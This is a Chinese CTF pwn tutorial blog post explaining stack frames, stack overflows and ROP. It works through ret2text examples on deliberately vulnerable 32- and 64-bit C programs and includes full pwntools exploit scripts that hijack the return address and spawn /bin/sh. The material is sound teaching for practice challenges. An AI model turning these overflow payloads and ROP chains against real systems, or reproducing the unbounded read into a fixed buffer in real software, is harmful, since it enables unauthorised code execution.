sysNow's blog

栈溢出篇1——ret2text

Nov 20, 2024
CTF PWN教程
21 Minutes
4066 Words
This article was last updated on Apr 18, 2025 and some of the information may no longer be applicable due to the passage of time.

ret2text

什么是栈

参考文章栈介绍 参考文章手把手教你栈溢出从入门到放弃(上)

栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作。两种操作都操作栈顶,当然,它也有栈底。

高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的

函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。

什么是栈溢出

参考文章栈溢出原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数(例如:定义了一个字符数组buf[10],但却读入了100个字符),因而导致与其相邻的栈中的变量的值被改变。

如何判断是否为栈溢出

程序中若存在类似于gets()这种输入数量不限的函数,或者出现数组大小只有10,但通过read可以读入大于10字节类似的函数的情况,即可考虑栈溢出

栈溢出先导 : 栈帧的创建 恢复 利用(以i386为例)

参考文章手把手教你栈溢出从入门到放弃(上)

栈溢出

函数状态主要涉及三个寄存器--esp,ebp,eip。

  • esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
  • ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
  • eip用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。

第一步 : 将被调用函数的参数压入栈内

首先将被调用函数(callee)的参数按照逆序依次压入栈内。如果被调用函数(callee)不需要参数,则没有这一步骤。这些参数仍会保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。

压入参数1

第二步 : 将被调用函数的返回地址压入栈内

然后将调用函数(caller)进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数(caller)的 eip(指令)信息得以保存。

压入返回地址

第三步 : 将调用函数的基地址(ebp)压入栈内,并将当前栈顶地址传到 ebp 寄存器内

再将当前的ebp 寄存器的值(也就是调用函数的基地址)压入栈内,并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数(caller)的 ebp(基地址)信息得以保存。同时,ebp 被更新为被调用函数(callee)的基地址。

更新基地址

第四步 : 将被调用函数的局部变量压入栈内

再之后是将被调用函数(callee)的局部变量等数据压入栈内。

压入参数2

在压栈的过程中,esp 寄存器的值不断减小(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数、返回地址、调用函数的基地址,以及局部变量,其中调用参数以外的数据共同构成了被调用函数(callee)的状态。在发生调用时,程序还会将被调用函数(callee)的指令地址存到 eip 寄存器内,这样程序就可以依次执行被调用函数的指令了。


函数调用结束时的核心任务是丢弃被调用函数(callee)的状态,并将栈顶恢复为调用函数(caller)的状态。

第一步 : 将被调用函数的局部变量弹出栈外

首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数(callee)的基地址。

弹出参数1

第二步 : 将调用函数(caller)的基地址(ebp)弹出栈外,并存到 ebp 寄存器内

然后将基地址内存储的调用函数(caller)的基地址从栈内弹出,并存到 ebp 寄存器内。这样调用函数(caller)的 ebp(基地址)信息得以恢复。此时栈顶会指向返回地址。

恢复ebp

第三步 : 将被调用函数的返回地址弹出栈外,并存到 eip 寄存器内

再将返回地址从栈内弹出,并存到 eip 寄存器内。这样调用函数(caller)的 eip(指令)信息得以恢复。

恢复eip

至此调用函数(caller)的函数状态就全部恢复了,之后就是继续执行调用函数的指令了。


当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是 eip,所以我们的目标就是让 eip 载入攻击指令的地址。

stack_overflow

栈溢出类型

  • ret2text : 修改返回地址到可执行文件中的system等可利用函数
  • ret2libc : 动态链接的程序,无法使用ret2text时,修改返回地址到libc中的可利用函数
  • ret2syscall : 静态链接的程序,无法使用ret2text时,考虑使用
  • ret2shellcode : 修改返回地址,让其指向溢出数据中的一段指令
  • ret2csu : ……

ROP介绍

随着 NX (Non-eXecutable) 保护的开启,传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果,由此攻击者们也提出来相应的方法来绕过保护。

目前被广泛使用的攻击手法是 返回导向编程 (Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。

例如,在可执行文件中,存在pop rdi;ret pop rsi;ret之类的短小的,可利用的程序,我们就称其为gadget,通过调用gadget,我们可以手动设置rdi,rsi等寄存器的值。通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

在本次教程中,ROP在64位ret2text阶段处使用较多,但在其他的教程,例如ret2syscall中,无论32位还是64位的程序,都需要通过ROP设置寄存器的值实现攻击。所以不要有32位不需要ROP这种错误思维

查找可执行文件中的gadget,可以使用ROPgadget等工具,工具具体使用,请自行学习

按照难度我们可以分为

  • 基本ROP : ret2text ret2shellcode ret2syscall ret2libc
  • 中级ROP : ret2csu ret2reg JOP COP BROP
  • 高级ROP : SROP ret2VDSO ret2dlresolve

ret2text

i386 ret2text

第一种 : backdoor内有system函数,并自动将/bin/sh传入system函数

例题:

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
5
void init(){
6
setvbuf(stdout, 0LL, 2, 0LL);
7
setvbuf(stdin, 0LL, 2, 0LL);
8
setvbuf(stderr, 0LL, 2, 0LL);
9
}
10
11
void vul(){
12
char buf[128];
13
read(0, buf, 512);
14
}
15
10 collapsed lines
16
void backdoor() {
17
system("/bin/sh");
18
}
19
20
int main(int argc, char** argv){
21
init();
22
write(1, "Hello, World\n", 13);
23
vul();
24
}
25
//gcc ret2text_level0.c -o ret2text_level0_m32 -fno-stack-protector -no-pie -m32

这是一道例题,所以我给出了源码,在比赛中会给你编译完的可执行文件

点击此去github下载

所以我们编译完后进行以下操作:

ret2text_level0_m32-1

ret2text_level0_m32-2

我们可以看到,这个程序是32位的动态链接的程序。保护后面再说,这边已经开起来的保护不影响我们的下一步操作。

ret2text_level0_m32-3

在vul函数中,有一个字符数组buf,可存储132个ASCII字符,但是我们却可以通过read函数向buf函数内输入0x200个字符,这足够我们覆盖返回地址,执行栈溢出了。

在函数中,我们可以找到后门函数,因此我们可以执行ret2text

ret2text_level0_m32-4

因此可以构建payload = b"A"*(0x88+4)+p32(backdoor)

exp如下:

1
from pwn import *
2
context(os="linux",arch="i386",log_level="debug")
3
4
# p = gdb.debug("./ret2text_level0_m32","b main")
5
p = process("./ret2text_level0_m32")
6
7
elf = ELF("./ret2text_level0_m32")
8
9
# backdoor = 0x08049238
10
backdoor = elf.sym["backdoor"]
11
payload = b"A"*(0x88+4)+p32(backdoor)
12
p.send(payload)
13
14
p.interactive()

第二种 : plt表中有system函数,可查找到字符串/bin/sh

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
5
void init(){
6
setvbuf(stdout, 0LL, 2, 0LL);
7
setvbuf(stdin, 0LL, 2, 0LL);
8
setvbuf(stderr, 0LL, 2, 0LL);
9
}
10
11
void vul(){
12
char buf[128];
13
read(0, buf, 512);
14
}
15
14 collapsed lines
16
void backdoor() {
17
system("echo flag");
18
}
19
20
void p() {
21
puts("/bin/sh");
22
}
23
24
int main(int argc, char** argv){
25
init();
26
write(1, "Hello, World\n", 13);
27
vul();
28
}
29
//gcc ret2text_level1.c -o ret2text_level1_m32 -fno-stack-protector -no-pie -m32

点击此去github下载

编译完打开可执行文件,发现vul函数内存在栈溢出漏洞

 ret2text_level1_m32-1

但是这一次,backdoor函数内的system执行了echo flag,这一串shell指令只会返回’f’ ‘l’ ‘a’ ‘g’四个字符,既不会打印出flag文件的值,也不会获取shell权限

 ret2text_level1_m32-2

shift+F12可以查找字符串,我们发现程序内存在/bin/sh字段

 ret2text_level1_m32-3

按照栈调用的模型,我们可以将system函数的plt表地址作为返回地址,将/bin/sh的地址作为第一次压栈的参数传入,可构建 payload = b"A"*(0x88+4)+p32(system_plt)+p32(0)+p32(bin_sh)

1
疑问:按照栈模型,payload不应该是payload = b"A"*(0x88+4)+p32(system_plt)+p32(bin_sh)吗,中间的p32(0)从哪里出来的???

按照栈模型,确实应该按照疑问中的payload来布置栈帧,但是程序正常调用的时候,在汇编中使用的是call指令,作用是将当前的eip压入栈中并转移到指定位置,这与被调用的函数结束时的ret指令可以看作”一对”.但是,通过覆盖返回地址而调用到程序并未经过call指令,但程序结尾的ret又一定会被执行,那么就相当于,若按照疑问中的payload来布置栈帧,/bin/sh的地址不会作为参数传入,而是作为system的返回地址传入,这明显是错误的,由于我们不考虑system的返回地址,于是选择了p32(0)来平衡栈帧.

exp如下:

1
from pwn import *
2
context(os="linux",arch="i386",log_level="debug")
3
4
p = process("./ret2text_level1_m32")
5
6
elf = ELF("./ret2text_level1_m32")
7
8
system_plt = elf.plt["system"]
9
bin_sh = 0x0804A012
10
payload = b"A"*(0x88+4)+p32(system_plt)+p32(0)+p32(bin_sh)
11
p.send(payload)
12
13
p.interactive()

第三种 : plt表中有system函数,没有字符串/bin/sh

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
5
long long a;
6
7
void init(){
8
setvbuf(stdout, 0LL, 2, 0LL);
9
setvbuf(stdin, 0LL, 2, 0LL);
10
setvbuf(stderr, 0LL, 2, 0LL);
11
}
12
13
void vul(){
14
char buf[128];
15
read(0, buf, 512);
12 collapsed lines
16
}
17
18
void backdoor() {
19
system("echo flag");
20
}
21
22
int main(int argc, char** argv){
23
init();
24
write(1, "Hello, World\n", 13);
25
vul();
26
}
27
//gcc ret2text_level2.c -o ret2text_level2_m32 -fno-stack-protector -no-pie -m32

点击此去github下载

ret2text_level2_m32-1

ret2text_level2_m32-2

由于.bss段是可读可写段,我们可以考虑将/bin/sh先写入程序中

ret2text_level2_m32-3

可构建payload = b"A"*(0x88+4)+p32(read_plt)+p32(vul_addr)+p32(0)+p32(bss)+p32(8),再向程序发送/bin/sh,这样就可以完成写入/bin/sh,并在结束后返回到vul函数再次进行栈溢出

第二次构建payload = b"A"*(0x88+4)+p32(system_plt)+p32(0)+p32(bss)即可获得权限

exp如下:

1
from pwn import *
2
context(os="linux",arch="i386",log_level="debug")
3
4
# p = gdb.debug("./ret2text_level2_m32","b vul")
5
p = process("./ret2text_level2_m32")
6
7
elf = ELF("./ret2text_level2_m32")
8
9
system_plt = elf.plt["system"]
10
read_plt = elf.plt["read"]
11
vul_addr = elf.sym["vul"]
12
bss = 0x0804C029
13
payload = b"A"*(0x88+4)+p32(read_plt)+p32(vul_addr)+p32(0)+p32(bss)+p32(8)
14
p.sendlineafter(b"Hello, World",payload)
15
# sleep(5)
6 collapsed lines
16
p.sendline(b"/bin/sh")
17
18
payload = b"A"*(0x88+4)+p32(system_plt)+p32(0)+p32(bss)
19
p.sendline(payload)
20
21
p.interactive()

注意:上述三种情况只是基础例题,真实的题目会更难

amd64 ret2text

64位汇编. 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。当参数多于7个时,前六个放在寄存器中,剩余的参数放在栈中(和32位一样),这叫做调用约定

因此,我们若想使用system(“/bin/sh”),并需要手动设置参数时,不应该将参数布置在栈上,而是应该设置在rdi上(因为这是第一个参数).那么我们该如何设置rdi为/bin/sh的地址呢?

第一种 : backdoor内有system函数,并自动将/bin/sh传入system函数

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
5
void init(){
6
setvbuf(stdout, 0LL, 2, 0LL);
7
setvbuf(stdin, 0LL, 2, 0LL);
8
setvbuf(stderr, 0LL, 2, 0LL);
9
}
10
11
void vul(){
12
char buf[128];
13
read(0, buf, 512);
14
}
15
10 collapsed lines
16
void backdoor() {
17
system("/bin/sh");
18
}
19
20
int main(int argc, char** argv){
21
init();
22
write(1, "Hello, World\n", 13);
23
vul();
24
}
25
//gcc ret2text_level0.c -o ret2text_level0 -fno-stack-protector -no-pie

点击此去github下载

这种情况下,利用与32位相同,仅需要覆盖到返回地址即可,需要注意的是,在64位中,每个寄存器的覆盖需要8个字符,因此可构建 payload = b"A"*(0x80+8)+p64(backdoor)

ret2text_level0-1

exp如下:

1
from pwn import *
2
context(os="linux",arch="amd64",log_level="debug")
3
4
# p = gdb.debug("./ret2text_level0","b vul")
5
p = process("./ret2text_level0")
6
7
elf = ELF("./ret2text_level0")
8
9
backdoor = 0x0401225
10
payload = b"A"*(0x80+8)+p64(backdoor)
11
p.sendline(payload)
12
13
p.interactive()
1
疑问:按照为什么backdoor变量设置为0x0401225,不应该设置为0x0401220吗???

如果设置为0x0401220,在调试时会卡在如下界面,正式攻击时也不会打通

ret2text_level0-2

这是因为64位程序内部的栈对齐检查机制,具体可看关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题,通常解决办法为,跳过被调用函数的首个栈指令,如跳过上题中的push rbp;如果程序中有单独的ret,也可以将ret的地址插入payload中,即payload = b"A"*(0x80+8)+p64(ret_addr)+p64(backdoor),此处的backdoor则可以使用0x0401220.

在实际做题中,可以先不考虑栈对齐,当调试时出现这种情况时,再去调整参数.

第二种 : plt表中有system函数,可查找到字符串/bin/sh

1
原题:2024basectf "我把她丢了"

点击此去github下载

ret2text_level1-1

ret2text_level1-2

ret2text_level1-3

ret2text_level1-4

ret2text_level1-5

由于在IDA中能找到system函数的plt表,并且可查找到字符串/bin/sh,我们可以执行ret2text

由于64位传参规则,我们需要在调用system函数前先利用程序中可利用的pop rdi;ret来设置rdi

因此可先得payload = b'A'*(0x70+8)+p64(rdi_ret)+p64(bin_sh)+p64(system_plt) 调试可得,栈未对齐,于是构建payload = b'A'*(0x70+8)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system_plt)

exp如下:

1
from pwn import *
2
context(os="linux",arch="amd64",log_level="debug")
3
4
# p = gdb.debug("./ret2text_level1","b vuln")
5
p = process("./ret2text_level1")
6
7
elf = ELF("./ret2text_level1")
8
9
rdi_ret = 0x0401196
10
bin_sh = 0x0402008
11
ret_addr = 0x040101a
12
system_plt = elf.plt["system"]
13
payload = b'A'*(0x70+8)+p64(rdi_ret)+p64(bin_sh)+p64(ret_addr)+p64(system_plt)
14
p.send(payload)
15
1 collapsed line
16
p.interactive()

第三种 : plt表中有system函数,没有字符串/bin/sh

1
原题:2024basectf "彻底失去她"

点击此去github下载

ret2text_level2-1

ret2text_level2-2

ret2text_level2-3

这里就要充分利用ROP,构建两次ROP链.

第一次写入/bin/sh,第二次执行system函数

exp如下:

1
from pwn import *
2
context(os="linux",arch="amd64",log_level="debug")
3
4
# p = gdb.debug("./ret2text_level2","b main")
5
p = process("./ret2text_level2")
6
7
elf = ELF("./ret2text_level2")
8
9
rdi_ret = 0x0401196
10
rsi_ret = 0x04011ad
11
rdx_ret = 0x0401265
12
ret_addr = 0x040101a
13
bss = 0x0404078
14
main_addr = 0x0401214
15
read_plt = elf.plt["read"]
13 collapsed lines
16
system_plt = elf.plt["system"]
17
18
payload = b"A"*(0xa+8)+p64(rdi_ret)+p64(0)
19
payload += p64(rsi_ret)+p64(bss)
20
payload += p64(rdx_ret)+p64(8)+p64(read_plt)+p64(main_addr)
21
p.sendafter(b"could you tell me your name?",payload)
22
# sleep(10)
23
p.sendline(b"/bin/sh")
24
25
payload = b"A"*(0xa+8)+p64(rdi_ret)+p64(bss)+p64(ret_addr)+p64(system_plt)
26
p.sendafter(b"could you tell me your name?",payload)
27
28
p.interactive()
Article title:栈溢出篇1——ret2text
Article author:sysNow
Release time:Nov 20, 2024